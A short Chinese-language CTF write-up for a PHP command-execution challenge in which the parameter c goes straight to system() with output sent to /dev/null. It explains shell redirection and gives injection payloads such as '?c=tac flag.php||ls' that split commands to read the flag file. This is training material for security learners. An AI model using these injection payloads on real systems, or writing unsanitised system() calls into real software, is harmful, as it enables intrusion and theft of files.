web42笔记(system命令执行+输入内容被>/dev/null 2>&1)
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 20:51:55 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; system($c." >/dev/null 2>&1"); }else{ highlight_file(__FILE__); }
这⾥是$c参数后⾯接了个>/dev/null 2>&1丢弃
0 标准输⼊
1 标准输出
2 错误输出
在类Unix系统中,/dev/null,或称空设备,是⼀个特殊的设备⽂件,它丢弃⼀切写⼊其中的数据(但报告写⼊操作成功)
区别:
2>/dev/null 把错误输出到空设备(即丢弃)
>/dev/null 2>&1 相当于1>/dev/null 2>&1 即把标准输出丢弃,并且把错误输出输出到标准输出。合计起来就是错误和标准输出都输出到空设备
2>&1 >/dev/null 错误输出到标准输出,即输出到屏幕上,⽽标准输出被丢弃重定向> 和 >> 前者会先清空⽂件,然后再写⼊内容,后者会将重定向的内容追加到现有⽂件的尾部.
输⼊的内容会被丢弃,该怎么办呢?答案是可以⽤;或||等进⾏分割,如?c=ls&&pwd. 执⾏的时候会将ls给执⾏⽽丢弃pwd命令
payload:
?c=tac flag.php||ls
?c=tac flag.php;ls
浙公网安备 33010602011771号